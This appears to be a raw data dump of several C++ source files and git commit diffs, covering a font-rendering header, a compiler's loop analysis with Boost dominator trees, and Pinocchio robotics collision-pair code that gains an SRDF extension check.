T_GlyphsMap;\n\ttypedef T_GlyphsMap::iterator T_GlyphsIter;\n\tT_GlyphsMap glyphs;\n\n\tfloat fontSize;\n\npublic:\n\nprivate:\n\t\/\/Bounding box holds the dimensions of the largest loaded glyph.\n\tmorda::Rect2f boundingBox;\n\npublic:\n\tTexFont(){}\n\n\tTexFont(ting::fs::File& fi, const wchar_t* chars, unsigned size, unsigned outline = 0){\n\t\tthis->Load(fi, chars, size, outline);\n\t}\n\n\tvoid Load(ting::fs::File& fi, const wchar_t* chars, unsigned size, unsigned outline = 0);\n\n\tfloat FontSize()const{\n\t\treturn this->fontSize;\n\t}\n\n\t\/\/renders the string, returns resulting string advance\n\tfloat RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const wchar_t* s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s);\n\t}\n\n\tfloat RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const std::wstring& s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s.c_str());\n\t}\n\n\tfloat RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const char* s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s);\n\t}\n\n\tfloat RenderString(TexturingShader& shader, const morda::Matr4f& matrix, const std::string& s)const{\n\t\treturn this->RenderStringInternal(shader, matrix, s.c_str());\n\t}\n\n\tconst morda::Rect2f& FontBoundingBox()const{\n\t\treturn this->boundingBox;\n\t}\n\n\tfloat StringAdvance(const wchar_t* s)const{\n\t\treturn this->StringAdvanceInternal(s);\n\t}\n\t\n\tfloat StringAdvance(const std::wstring& s)const{\n\t\treturn this->StringAdvanceInternal(s.c_str());\n\t}\n\t\n\tfloat StringAdvance(const char* s)const{\n\t\treturn this->StringAdvanceInternal(s);\n\t}\n\t\n\tfloat StringAdvance(const std::string& s)const{\n\t\treturn this->StringAdvanceInternal(s.c_str());\n\t}\n\n\tmorda::Rect2f StringBoundingBox(const wchar_t* s)const{\n\t\treturn this->StringBoundingBoxInternal(s);\n\t}\n\t\n\tmorda::Rect2f StringBoundingBox(const std::wstring& s)const{\n\t\treturn this->StringBoundingBoxInternal(s.c_str());\n\t}\n\n\tmorda::Rect2f StringBoundingBox(const char* s)const{\n\t\treturn this->StringBoundingBoxInternal(s);\n\t}\n\n\tmorda::Rect2f StringBoundingBox(const std::string& s)const{\n\t\treturn this->StringBoundingBoxInternal(s.c_str());\n\t}\n\n\tDEBUG_CODE( void RenderTex(TexturingShader& shader, const morda::Matr4f& matrix)const; )\n\nprivate:\n\n\tfloat StringAdvanceInternal(const char* s)const;\n\t\n\tfloat StringAdvanceInternal(const wchar_t* s)const;\n\n\tmorda::Rect2f StringBoundingBoxInternal(const char* s)const;\n\t\n\tmorda::Rect2f StringBoundingBoxInternal(const wchar_t* s)const;\n\t\n\tfloat RenderStringInternal(TexturingShader& shader, const morda::Matr4f& matrix, const char* s)const;\n\t\n\tfloat RenderStringInternal(TexturingShader& shader, const morda::Matr4f& matrix, const wchar_t* s)const;\t\n\n\tfloat RenderGlyphInternal(TexturingShader& shader, const morda::Matr4f& matrix, wchar_t ch)const;\n\n};\/\/~class TexFont\n\n\n\n}\/\/~namespace\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <boost\/graph\/dominator_tree.hpp>\n\n#include \"mtac\/LoopAnalysis.hpp\"\n#include \"mtac\/GlobalOptimizations.hpp\"\n#include \"mtac\/ControlFlowGraph.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::ControlFlowGraph::InternalControlFlowGraph G;\ntypedef mtac::ControlFlowGraph::BasicBlockInfo Vertex;\ntypedef boost::property_map<mtac::ControlFlowGraph::InternalControlFlowGraph, boost::vertex_index_t>::type IndexMap;\ntypedef boost::iterator_property_map<std::vector<Vertex>::iterator, IndexMap> PredMap;\n\nstruct dfs_visitor : public boost::default_dfs_visitor {\n    G& graph;\n\n    dfs_visitor(G& graph) : graph(graph) {}\n\n    template<typename U>\n    void discover_vertex(U u, const G& g){\n        auto new_vertex = add_vertex(graph);\n        graph[new_vertex].block = g[u].block;\n    }\n    \n    template<typename E>\n    void tree_edge(E e, const G& g){\n        add_edge(boost::source(e, g), boost::target(e, g), graph); \n    }\n};\n\nvoid mtac::loop_analysis(std::shared_ptr<mtac::Program> program){\n    for(auto& function : program->functions){\n        auto graph = mtac::build_control_flow_graph(function);\n        auto g = graph->get_graph();\n        \n        std::vector<Vertex> domTreePredVector = std::vector<Vertex>(boost::num_vertices(g), boost::graph_traits<G>::null_vertex());\n        PredMap domTreePredMap = boost::make_iterator_property_map(domTreePredVector.begin(), boost::get(boost::vertex_index, g));\n\n        boost::lengauer_tarjan_dominator_tree(g, boost::vertex(0, g), domTreePredMap);\n        \n        ControlFlowGraph::EdgeIterator it, end;\n        for(boost::tie(it,end) = boost::edges(g); it != end; ++it){\n            auto source = boost::source(*it, g);\n            auto target = boost::target(*it, g);\n\n            \/\/A node dominates itself\n            if(source == target){\n                std::cout << \"Found back edge\" << std::endl;\n            } else {\n                if(boost::get(domTreePredMap, source) != boost::graph_traits<G>::null_vertex()){\n                    auto dominator = boost::get(domTreePredMap,source);\n\n                    if(dominator == target){\n                        std::cout << \"Found back edge\" << std::endl;\n                    }\n                }\n            }\n        }\n\n        \/*G depth_first_tree;\n        dfs_visitor visitor(depth_first_tree);\n\n        boost::depth_first_search(g, boost::visitor(visitor));\n\n        std::cout << \"Dominators found\" << std::endl;*\/\n    }\n}\n<commit_msg>Go a bit further to loop analysis<commit_after>\/\/=======================================================================\n\/\/ Copyright Baptiste Wicht 2011.\n\/\/ Distributed under the Boost Software License, Version 1.0.\n\/\/ (See accompanying file LICENSE_1_0.txt or copy at\n\/\/  http:\/\/www.boost.org\/LICENSE_1_0.txt)\n\/\/=======================================================================\n\n#include <boost\/graph\/dominator_tree.hpp>\n\n#include \"mtac\/LoopAnalysis.hpp\"\n#include \"mtac\/GlobalOptimizations.hpp\"\n#include \"mtac\/ControlFlowGraph.hpp\"\n\nusing namespace eddic;\n\ntypedef mtac::ControlFlowGraph::InternalControlFlowGraph G;\ntypedef mtac::ControlFlowGraph::EdgeInfo Edge;\ntypedef mtac::ControlFlowGraph::BasicBlockInfo Vertex;\ntypedef boost::property_map<mtac::ControlFlowGraph::InternalControlFlowGraph, boost::vertex_index_t>::type IndexMap;\ntypedef boost::iterator_property_map<std::vector<Vertex>::iterator, IndexMap> PredMap;\n\nvoid mtac::loop_analysis(std::shared_ptr<mtac::Program> program){\n    for(auto& function : program->functions){\n        auto graph = mtac::build_control_flow_graph(function);\n        auto g = graph->get_graph();\n        \n        std::vector<Vertex> domTreePredVector = std::vector<Vertex>(boost::num_vertices(g), boost::graph_traits<G>::null_vertex());\n        PredMap domTreePredMap = boost::make_iterator_property_map(domTreePredVector.begin(), boost::get(boost::vertex_index, g));\n\n        boost::lengauer_tarjan_dominator_tree(g, boost::vertex(0, g), domTreePredMap);\n\n        std::vector<Edge> back_edges;\n        \n        ControlFlowGraph::EdgeIterator it, end;\n        for(boost::tie(it,end) = boost::edges(g); it != end; ++it){\n            auto source = boost::source(*it, g);\n            auto target = boost::target(*it, g);\n\n            \/\/A node dominates itself\n            if(source == target){\n                back_edges.push_back(*it);\n            } else {\n                if(boost::get(domTreePredMap, source) != boost::graph_traits<G>::null_vertex()){\n                    auto dominator = boost::get(domTreePredMap,source);\n\n                    if(dominator == target){\n                        back_edges.push_back(*it);\n                    }\n                }\n            }\n        }\n\n        std::vector<std::set<Vertex>> natural_loops;\n\n        \/\/Get all edges n -> d\n        for(auto& back_edge : back_edges){\n            std::set<Vertex> natural_loop;\n            natural_loop.insert(boost::target(back_edge, g));\n\n            \/\/Add all predecessors of d in the set\n            \/\/\n            \n            natural_loops.push_back(natural_loop);\n        }\n\n        std::cout << \"Found \" << natural_loops.size() << \" natural loops\" << std::endl;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2015-2016 CNRS\n\/\/\n\/\/ This file is part of Pinocchio\n\/\/ Pinocchio is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Pinocchio is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ Pinocchio If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __se3_geometry_hxx__\n#define __se3_geometry_hxx__\n\n\n#include \"pinocchio\/spatial\/fwd.hpp\"\n#include \"pinocchio\/spatial\/se3.hpp\"\n#include \"pinocchio\/spatial\/force.hpp\"\n#include \"pinocchio\/spatial\/motion.hpp\"\n#include \"pinocchio\/spatial\/inertia.hpp\"\n#include \"pinocchio\/spatial\/fcl-pinocchio-conversions.hpp\"\n#include \"pinocchio\/multibody\/model.hpp\"\n#include \"pinocchio\/multibody\/joint\/joint-variant.hpp\"\n#include <iostream>\n\n#include <hpp\/fcl\/collision_object.h>\n#include <hpp\/fcl\/collision.h>\n#include <hpp\/fcl\/distance.h>\n#include <map>\n#include <list>\n#include <utility>\n\n\/\/ Read XML file with boost\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <fstream>\n#include <boost\/foreach.hpp>\n\n\/\/\/ @cond DEV\n\nnamespace se3\n{\n\n  inline GeometryModel::GeomIndex GeometryModel::addGeomObject(const JointIndex parent,\n                                                               const fcl::CollisionObject & co,\n                                                               const SE3 & placement,\n                                                               const std::string & geoName)\n  {\n\n    Index idx = (Index) (ngeom ++);\n\n\n    collision_objects    .push_back(co);\n    geom_parents         .push_back(parent);\n    geometryPlacement    .push_back(placement);\n    geom_names           .push_back( (geoName!=\"\")?geoName:random(8));\n    \n    addInnerObject(parent, idx);\n\n    return idx;\n  }\n\n  inline GeometryModel::GeomIndex GeometryModel::getGeomId (const std::string & name) const\n  {\n    std::vector<std::string>::iterator::difference_type\n      res = std::find(geom_names.begin(),geom_names.end(),name) - geom_names.begin();\n    assert( (res<INT_MAX) && \"Id superior to int range. Should never happen.\");\n    assert( (res>=0)&&(res<(long)collision_objects.size())&&\"The joint name you asked does not exist\" );\n    return GeomIndex(res);\n  }\n\n  inline bool GeometryModel::existGeomName (const std::string & name) const\n  {\n    return (geom_names.end() != std::find(geom_names.begin(),geom_names.end(),name));\n  }\n  \n  inline const std::string& GeometryModel::getGeomName (const GeomIndex index) const\n  {\n    assert( index < (GeomIndex)collision_objects.size() );\n    return geom_names[index];\n  }\n\n  inline void GeometryModel::addInnerObject (const JointIndex joint_id, const GeomIndex inner_object)\n  {\n    if (std::find(innerObjects[joint_id].begin(), innerObjects[joint_id].end(),inner_object)==innerObjects[joint_id].end())\n      innerObjects[joint_id].push_back(inner_object);\n    else\n      std::cout << \"inner object already added\" << std::endl;\n  }\n\n  inline void GeometryModel::addOutterObject (const JointIndex joint, const GeomIndex outer_object)\n  {\n    if (std::find(outerObjects[joint].begin(), outerObjects[joint].end(),outer_object)==outerObjects[joint].end())\n      outerObjects[joint].push_back(outer_object);\n    else\n      std::cout << \"outer object already added\" << std::endl;\n  }\n\n  inline std::ostream & operator<< (std::ostream & os, const GeometryModel & model_geom)\n  {\n    os << \"Nb collision objects = \" << model_geom.ngeom << std::endl;\n    \n    for(GeometryModel::Index i=0;i<(GeometryModel::Index)(model_geom.ngeom);++i)\n    {\n      os  << \"Collision object \" << i << \" : \" << model_geom.geom_names[i] << \": attached to joint = \" << model_geom.geom_parents[i]\n          << \"\\nwith offset \\n\" << model_geom.geometryPlacement[i] <<std::endl;\n    }\n\n    return os;\n  }\n\n  inline std::ostream & operator<< (std::ostream & os, const GeometryData & data_geom)\n  {\n\n    for(GeometryData::Index i=0;i<(GeometryData::Index)(data_geom.model_geom.ngeom);++i)\n    {\n      os << \"collision object in position \" << data_geom.oMg[i] << std::endl;\n    }\n\n    return os;\n  }\n\n  inline void GeometryData::addCollisionPair (const GeomIndex co1, const GeomIndex co2)\n  {\n    assert ( co1 != co2);\n    assert ( co2 < model_geom.ngeom);\n    CollisionPair_t pair(co1, co2);\n    \n    addCollisionPair(pair);\n  }\n\n  inline void GeometryData::addCollisionPair (const CollisionPair_t & pair)\n  {\n    assert(pair.second < model_geom.ngeom);\n    \n    if (!existCollisionPair(pair))\n    {\n      collision_pairs.push_back(pair);\n      nCollisionPairs++;\n    }\n  }\n  \n  inline void GeometryData::addAllCollisionPairs()\n  {\n    removeAllCollisionPairs();\n    collision_pairs.reserve((model_geom.ngeom * (model_geom.ngeom-1))\/2);\n    for (Index i = 0; i < model_geom.ngeom; ++i)\n      for (Index j = i+1; j < model_geom.ngeom; ++j)\n        addCollisionPair(i,j);\n  }\n  \n  inline void GeometryData::removeCollisionPair (const GeomIndex co1, const GeomIndex co2)\n  {\n    assert(co1 < co2);\n    assert(co2 < model_geom.ngeom);\n    assert(existCollisionPair(co1,co2));\n\n    removeCollisionPair (CollisionPair_t(co1,co2));\n  }\n\n  inline void GeometryData::removeCollisionPair (const CollisionPair_t & pair)\n  {\n    assert(pair.second < model_geom.ngeom);\n\n    CollisionPairsVector_t::iterator it = std::find(collision_pairs.begin(), collision_pairs.end(), pair);\n    if (it != collision_pairs.end())\n    {\n      collision_pairs.erase(it);\n      nCollisionPairs--;\n    }\n  }\n  \n  inline void GeometryData::removeAllCollisionPairs ()\n  {\n    collision_pairs.clear();\n    nCollisionPairs = 0;\n  }\n\n  inline bool GeometryData::existCollisionPair (const GeomIndex co1, const GeomIndex co2) const\n  {\n    return existCollisionPair(CollisionPair_t(co1,co2));\n  }\n\n  inline bool GeometryData::existCollisionPair (const CollisionPair_t & pair) const\n  {\n    return (std::find(collision_pairs.begin(), collision_pairs.end(), pair)\n            != collision_pairs.end());\n  }\n  \n  inline GeometryData::Index GeometryData::findCollisionPair (const GeomIndex co1, const GeomIndex co2) const\n  {\n    return findCollisionPair(CollisionPair_t(co1,co2));\n  }\n  \n  inline GeometryData::Index GeometryData::findCollisionPair (const CollisionPair_t & pair) const\n  {\n    CollisionPairsVector_t::const_iterator it = std::find(collision_pairs.begin(), collision_pairs.end(), pair);\n    \n    return (Index) distance(collision_pairs.begin(), it);\n  }\n  \n\/\/  std::vector<Index> GeometryData::findCollisionPairsSupportedBy(const JointIndex joint_id) const\n\/\/  {\n\/\/\/\/    std::vector<Index> collision_pairs;\n\/\/\/\/    for(CollisionPairsVector_t::const_iterator it = collision_pairs.begin();\n\/\/\/\/        it != collision_pairs.end(); ++it)\n\/\/\/\/    {\n\/\/\/\/      if (geom_model.it->first )\n\/\/\/\/    }\n\/\/  }\n\n  \/\/ TODO :  give a srdf file as argument, read it, and remove corresponding\n  \/\/ pairs from list collision_pairs\n  inline void GeometryData::desactivateCollisionPairs()\n  {\n\n  }\n\n  inline void GeometryData::initializeListOfCollisionPairs()\n  {\n    addAllCollisionPairs();\n    desactivateCollisionPairs();\n    assert(nCollisionPairs == collision_pairs.size());\n  }\n\n  inline CollisionResult GeometryData::computeCollision(const GeomIndex co1, const GeomIndex co2) const\n  {\n    return computeCollision(CollisionPair_t(co1,co2));\n  }\n  \n  inline CollisionResult GeometryData::computeCollision(const CollisionPair_t & pair) const\n  {\n    const Index & co1 = pair.first;\n    const Index & co2 = pair.second;\n    \n    fcl::CollisionRequest collisionRequest (1, false, false, 1, false, true, fcl::GST_INDEP);\n    fcl::CollisionResult collisionResult;\n\n    fcl::collide (model_geom.collision_objects[co1].collisionGeometry().get(), oMg_fcl[co1],\n                  model_geom.collision_objects[co2].collisionGeometry().get(), oMg_fcl[co2],\n                  collisionRequest, collisionResult);\n\n    return CollisionResult (collisionResult, co1, co2);\n  }\n  \n  inline void GeometryData::computeAllCollisions()\n  {\n    for(size_t i = 0; i<nCollisionPairs; ++i)\n    {\n      const CollisionPair_t & pair = collision_pairs[i];\n      collision_results[i] = computeCollision(pair.first, pair.second);\n    }\n  }\n  \n  inline bool GeometryData::isColliding() const\n  {\n    for(CollisionPairsVector_t::const_iterator it = collision_pairs.begin(); it != collision_pairs.end(); ++it)\n    {\n      if (computeCollision(it->first, it->second).fcl_collision_result.isCollision())\n        return true;\n    }\n    return false;\n  }\n\n  inline DistanceResult GeometryData::computeDistance(const GeomIndex co1, const GeomIndex co2) const\n  {\n    return computeDistance(CollisionPair_t(co1,co2));\n  }\n  \n  inline DistanceResult GeometryData::computeDistance(const CollisionPair_t & pair) const\n  {\n    const Index & co1 = pair.first;\n    const Index & co2 = pair.second;\n    \n    fcl::DistanceRequest distanceRequest (true, 0, 0, fcl::GST_INDEP);\n    fcl::DistanceResult result;\n    fcl::distance ( model_geom.collision_objects[co1].collisionGeometry().get(), oMg_fcl[co1],\n                    model_geom.collision_objects[co2].collisionGeometry().get(), oMg_fcl[co2],\n                    distanceRequest, result);\n    \n    return DistanceResult (result, co1, co2);\n  }\n  \n  inline void GeometryData::computeAllDistances ()\n  {\n    for(size_t i = 0; i<nCollisionPairs; ++i)\n    {\n      const CollisionPair_t & pair = collision_pairs[i];\n      distance_results[i] = computeDistance(pair.first, pair.second);\n    }\n  }\n\n  inline void GeometryData::resetDistances()\n  {\n    std::fill(distance_results.begin(), distance_results.end(), DistanceResult( fcl::DistanceResult(), 0, 0) );\n  }\n  \n  void GeometryData::addCollisionPairsFromSrdf(const std::string & filename,\n                                               const bool verbose) throw (std::invalid_argument)\n  {\n    std::ifstream srdf_stream(filename);\n    if (! srdf_stream.is_open())\n    {\n      const std::string exception_message (filename + \" seems not to be a valid file.\");\n      throw std::invalid_argument(exception_message);\n    }\n    \n    \/\/ Add all collision pairs\n    addAllCollisionPairs();\n    std::cout << \"Num collision pairs \" << nCollisionPairs << std::endl;\n    \n    \/\/ Read xml stream\n    using boost::property_tree::ptree;\n    ptree pt;\n    read_xml(srdf_stream, pt);\n    \n    \/\/ Iterate over collision pairs\n    const se3::Model & model = data_ref.model;\n    BOOST_FOREACH(const ptree::value_type & v, pt.get_child(\"robot\"))\n    {\n      if (v.first == \"disable_collisions\")\n      {\n        const std::string link1 = v.second.get<std::string>(\"<xmlattr>.link1\");\n        const std::string link2 = v.second.get<std::string>(\"<xmlattr>.link2\");\n        \n        \/\/ Check first if the two bodies exist in model\n        if (!model.existBodyName(link1) || !model.existBodyName(link2))\n        {\n          if (verbose)\n            std::cout << \"It seems that \" << link1 << \" or \" << link2 << \" do not exist in model. Skip.\" << std::endl;\n          continue;\n        }\n        \n        const Model::JointIndex id1 = model.getBodyId(link1);\n        const Model::JointIndex id2 = model.getBodyId(link2);\n        \n        typedef GeometryModel::GeomIndexList GeomIndexList;\n        const GeomIndexList & innerObject1 = model_geom.innerObjects.at(id1);\n        const GeomIndexList & innerObject2 = model_geom.innerObjects.at(id2);\n        \n        for(GeomIndexList::const_iterator it1 = innerObject1.begin();\n            it1 != innerObject1.end();\n            ++it1)\n        {\n          for(GeomIndexList::const_iterator it2 = innerObject2.begin();\n              it2 != innerObject2.end();\n              ++it2)\n          {\n            removeCollisionPair(CollisionPair(*it1, *it2));\n          }\n        }\n        \n      } \/\/ BOOST_FOREACH\n    }\n    \n    \n    std::cout << \"Num collision pairs \" << nCollisionPairs << std::endl;\n  }\n\n\n} \/\/ namespace se3\n\n\/\/\/ @endcond\n\n#endif \/\/ ifndef __se3_geometry_hxx__\n<commit_msg>[C++] Clean the code + add checking of file extension<commit_after>\/\/\n\/\/ Copyright (c) 2015-2016 CNRS\n\/\/\n\/\/ This file is part of Pinocchio\n\/\/ Pinocchio is free software: you can redistribute it\n\/\/ and\/or modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation, either version\n\/\/ 3 of the License, or (at your option) any later version.\n\/\/\n\/\/ Pinocchio is distributed in the hope that it will be\n\/\/ useful, but WITHOUT ANY WARRANTY; without even the implied warranty\n\/\/ of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ General Lesser Public License for more details. You should have\n\/\/ received a copy of the GNU Lesser General Public License along with\n\/\/ Pinocchio If not, see\n\/\/ <http:\/\/www.gnu.org\/licenses\/>.\n\n#ifndef __se3_geometry_hxx__\n#define __se3_geometry_hxx__\n\n\n#include \"pinocchio\/spatial\/fwd.hpp\"\n#include \"pinocchio\/spatial\/se3.hpp\"\n#include \"pinocchio\/spatial\/force.hpp\"\n#include \"pinocchio\/spatial\/motion.hpp\"\n#include \"pinocchio\/spatial\/inertia.hpp\"\n#include \"pinocchio\/spatial\/fcl-pinocchio-conversions.hpp\"\n#include \"pinocchio\/multibody\/model.hpp\"\n#include \"pinocchio\/multibody\/joint\/joint-variant.hpp\"\n#include <iostream>\n\n#include <hpp\/fcl\/collision_object.h>\n#include <hpp\/fcl\/collision.h>\n#include <hpp\/fcl\/distance.h>\n#include <map>\n#include <list>\n#include <utility>\n\n\/\/ Read XML file with boost\n#include <boost\/property_tree\/xml_parser.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <fstream>\n#include <boost\/foreach.hpp>\n\n\/\/\/ @cond DEV\n\nnamespace se3\n{\n\n  inline GeometryModel::GeomIndex GeometryModel::addGeomObject(const JointIndex parent,\n                                                               const fcl::CollisionObject & co,\n                                                               const SE3 & placement,\n                                                               const std::string & geoName)\n  {\n\n    Index idx = (Index) (ngeom ++);\n\n\n    collision_objects    .push_back(co);\n    geom_parents         .push_back(parent);\n    geometryPlacement    .push_back(placement);\n    geom_names           .push_back( (geoName!=\"\")?geoName:random(8));\n    \n    addInnerObject(parent, idx);\n\n    return idx;\n  }\n\n  inline GeometryModel::GeomIndex GeometryModel::getGeomId (const std::string & name) const\n  {\n    std::vector<std::string>::iterator::difference_type\n      res = std::find(geom_names.begin(),geom_names.end(),name) - geom_names.begin();\n    assert( (res<INT_MAX) && \"Id superior to int range. Should never happen.\");\n    assert( (res>=0)&&(res<(long)collision_objects.size())&&\"The joint name you asked does not exist\" );\n    return GeomIndex(res);\n  }\n\n  inline bool GeometryModel::existGeomName (const std::string & name) const\n  {\n    return (geom_names.end() != std::find(geom_names.begin(),geom_names.end(),name));\n  }\n  \n  inline const std::string& GeometryModel::getGeomName (const GeomIndex index) const\n  {\n    assert( index < (GeomIndex)collision_objects.size() );\n    return geom_names[index];\n  }\n\n  inline void GeometryModel::addInnerObject (const JointIndex joint_id, const GeomIndex inner_object)\n  {\n    if (std::find(innerObjects[joint_id].begin(), innerObjects[joint_id].end(),inner_object)==innerObjects[joint_id].end())\n      innerObjects[joint_id].push_back(inner_object);\n    else\n      std::cout << \"inner object already added\" << std::endl;\n  }\n\n  inline void GeometryModel::addOutterObject (const JointIndex joint, const GeomIndex outer_object)\n  {\n    if (std::find(outerObjects[joint].begin(), outerObjects[joint].end(),outer_object)==outerObjects[joint].end())\n      outerObjects[joint].push_back(outer_object);\n    else\n      std::cout << \"outer object already added\" << std::endl;\n  }\n\n  inline std::ostream & operator<< (std::ostream & os, const GeometryModel & model_geom)\n  {\n    os << \"Nb collision objects = \" << model_geom.ngeom << std::endl;\n    \n    for(GeometryModel::Index i=0;i<(GeometryModel::Index)(model_geom.ngeom);++i)\n    {\n      os  << \"Collision object \" << i << \" : \" << model_geom.geom_names[i] << \": attached to joint = \" << model_geom.geom_parents[i]\n          << \"\\nwith offset \\n\" << model_geom.geometryPlacement[i] <<std::endl;\n    }\n\n    return os;\n  }\n\n  inline std::ostream & operator<< (std::ostream & os, const GeometryData & data_geom)\n  {\n\n    for(GeometryData::Index i=0;i<(GeometryData::Index)(data_geom.model_geom.ngeom);++i)\n    {\n      os << \"collision object in position \" << data_geom.oMg[i] << std::endl;\n    }\n\n    return os;\n  }\n\n  inline void GeometryData::addCollisionPair (const GeomIndex co1, const GeomIndex co2)\n  {\n    assert ( co1 != co2);\n    assert ( co2 < model_geom.ngeom);\n    CollisionPair_t pair(co1, co2);\n    \n    addCollisionPair(pair);\n  }\n\n  inline void GeometryData::addCollisionPair (const CollisionPair_t & pair)\n  {\n    assert(pair.second < model_geom.ngeom);\n    \n    if (!existCollisionPair(pair))\n    {\n      collision_pairs.push_back(pair);\n      nCollisionPairs++;\n    }\n  }\n  \n  inline void GeometryData::addAllCollisionPairs()\n  {\n    removeAllCollisionPairs();\n    collision_pairs.reserve((model_geom.ngeom * (model_geom.ngeom-1))\/2);\n    for (Index i = 0; i < model_geom.ngeom; ++i)\n      for (Index j = i+1; j < model_geom.ngeom; ++j)\n        addCollisionPair(i,j);\n  }\n  \n  inline void GeometryData::removeCollisionPair (const GeomIndex co1, const GeomIndex co2)\n  {\n    assert(co1 < co2);\n    assert(co2 < model_geom.ngeom);\n    assert(existCollisionPair(co1,co2));\n\n    removeCollisionPair (CollisionPair_t(co1,co2));\n  }\n\n  inline void GeometryData::removeCollisionPair (const CollisionPair_t & pair)\n  {\n    assert(pair.second < model_geom.ngeom);\n\n    CollisionPairsVector_t::iterator it = std::find(collision_pairs.begin(), collision_pairs.end(), pair);\n    if (it != collision_pairs.end())\n    {\n      collision_pairs.erase(it);\n      nCollisionPairs--;\n    }\n  }\n  \n  inline void GeometryData::removeAllCollisionPairs ()\n  {\n    collision_pairs.clear();\n    nCollisionPairs = 0;\n  }\n\n  inline bool GeometryData::existCollisionPair (const GeomIndex co1, const GeomIndex co2) const\n  {\n    return existCollisionPair(CollisionPair_t(co1,co2));\n  }\n\n  inline bool GeometryData::existCollisionPair (const CollisionPair_t & pair) const\n  {\n    return (std::find(collision_pairs.begin(), collision_pairs.end(), pair)\n            != collision_pairs.end());\n  }\n  \n  inline GeometryData::Index GeometryData::findCollisionPair (const GeomIndex co1, const GeomIndex co2) const\n  {\n    return findCollisionPair(CollisionPair_t(co1,co2));\n  }\n  \n  inline GeometryData::Index GeometryData::findCollisionPair (const CollisionPair_t & pair) const\n  {\n    CollisionPairsVector_t::const_iterator it = std::find(collision_pairs.begin(), collision_pairs.end(), pair);\n    \n    return (Index) distance(collision_pairs.begin(), it);\n  }\n  \n\/\/  std::vector<Index> GeometryData::findCollisionPairsSupportedBy(const JointIndex joint_id) const\n\/\/  {\n\/\/\/\/    std::vector<Index> collision_pairs;\n\/\/\/\/    for(CollisionPairsVector_t::const_iterator it = collision_pairs.begin();\n\/\/\/\/        it != collision_pairs.end(); ++it)\n\/\/\/\/    {\n\/\/\/\/      if (geom_model.it->first )\n\/\/\/\/    }\n\/\/  }\n\n  \/\/ TODO :  give a srdf file as argument, read it, and remove corresponding\n  \/\/ pairs from list collision_pairs\n  inline void GeometryData::desactivateCollisionPairs()\n  {\n\n  }\n\n  inline void GeometryData::initializeListOfCollisionPairs()\n  {\n    addAllCollisionPairs();\n    desactivateCollisionPairs();\n    assert(nCollisionPairs == collision_pairs.size());\n  }\n\n  inline CollisionResult GeometryData::computeCollision(const GeomIndex co1, const GeomIndex co2) const\n  {\n    return computeCollision(CollisionPair_t(co1,co2));\n  }\n  \n  inline CollisionResult GeometryData::computeCollision(const CollisionPair_t & pair) const\n  {\n    const Index & co1 = pair.first;\n    const Index & co2 = pair.second;\n    \n    fcl::CollisionRequest collisionRequest (1, false, false, 1, false, true, fcl::GST_INDEP);\n    fcl::CollisionResult collisionResult;\n\n    fcl::collide (model_geom.collision_objects[co1].collisionGeometry().get(), oMg_fcl[co1],\n                  model_geom.collision_objects[co2].collisionGeometry().get(), oMg_fcl[co2],\n                  collisionRequest, collisionResult);\n\n    return CollisionResult (collisionResult, co1, co2);\n  }\n  \n  inline void GeometryData::computeAllCollisions()\n  {\n    for(size_t i = 0; i<nCollisionPairs; ++i)\n    {\n      const CollisionPair_t & pair = collision_pairs[i];\n      collision_results[i] = computeCollision(pair.first, pair.second);\n    }\n  }\n  \n  inline bool GeometryData::isColliding() const\n  {\n    for(CollisionPairsVector_t::const_iterator it = collision_pairs.begin(); it != collision_pairs.end(); ++it)\n    {\n      if (computeCollision(it->first, it->second).fcl_collision_result.isCollision())\n        return true;\n    }\n    return false;\n  }\n\n  inline DistanceResult GeometryData::computeDistance(const GeomIndex co1, const GeomIndex co2) const\n  {\n    return computeDistance(CollisionPair_t(co1,co2));\n  }\n  \n  inline DistanceResult GeometryData::computeDistance(const CollisionPair_t & pair) const\n  {\n    const Index & co1 = pair.first;\n    const Index & co2 = pair.second;\n    \n    fcl::DistanceRequest distanceRequest (true, 0, 0, fcl::GST_INDEP);\n    fcl::DistanceResult result;\n    fcl::distance ( model_geom.collision_objects[co1].collisionGeometry().get(), oMg_fcl[co1],\n                    model_geom.collision_objects[co2].collisionGeometry().get(), oMg_fcl[co2],\n                    distanceRequest, result);\n    \n    return DistanceResult (result, co1, co2);\n  }\n  \n  inline void GeometryData::computeAllDistances ()\n  {\n    for(size_t i = 0; i<nCollisionPairs; ++i)\n    {\n      const CollisionPair_t & pair = collision_pairs[i];\n      distance_results[i] = computeDistance(pair.first, pair.second);\n    }\n  }\n\n  inline void GeometryData::resetDistances()\n  {\n    std::fill(distance_results.begin(), distance_results.end(), DistanceResult( fcl::DistanceResult(), 0, 0) );\n  }\n  \n  void GeometryData::addCollisionPairsFromSrdf(const std::string & filename,\n                                               const bool verbose) throw (std::invalid_argument)\n  {\n    \/\/ Check extension\n    const std::string extension = filename.substr(filename.find_last_of('.')+1);\n    if (extension != \"srdf\")\n    {\n      const std::string exception_message (filename + \" does not have the right extension.\");\n      throw 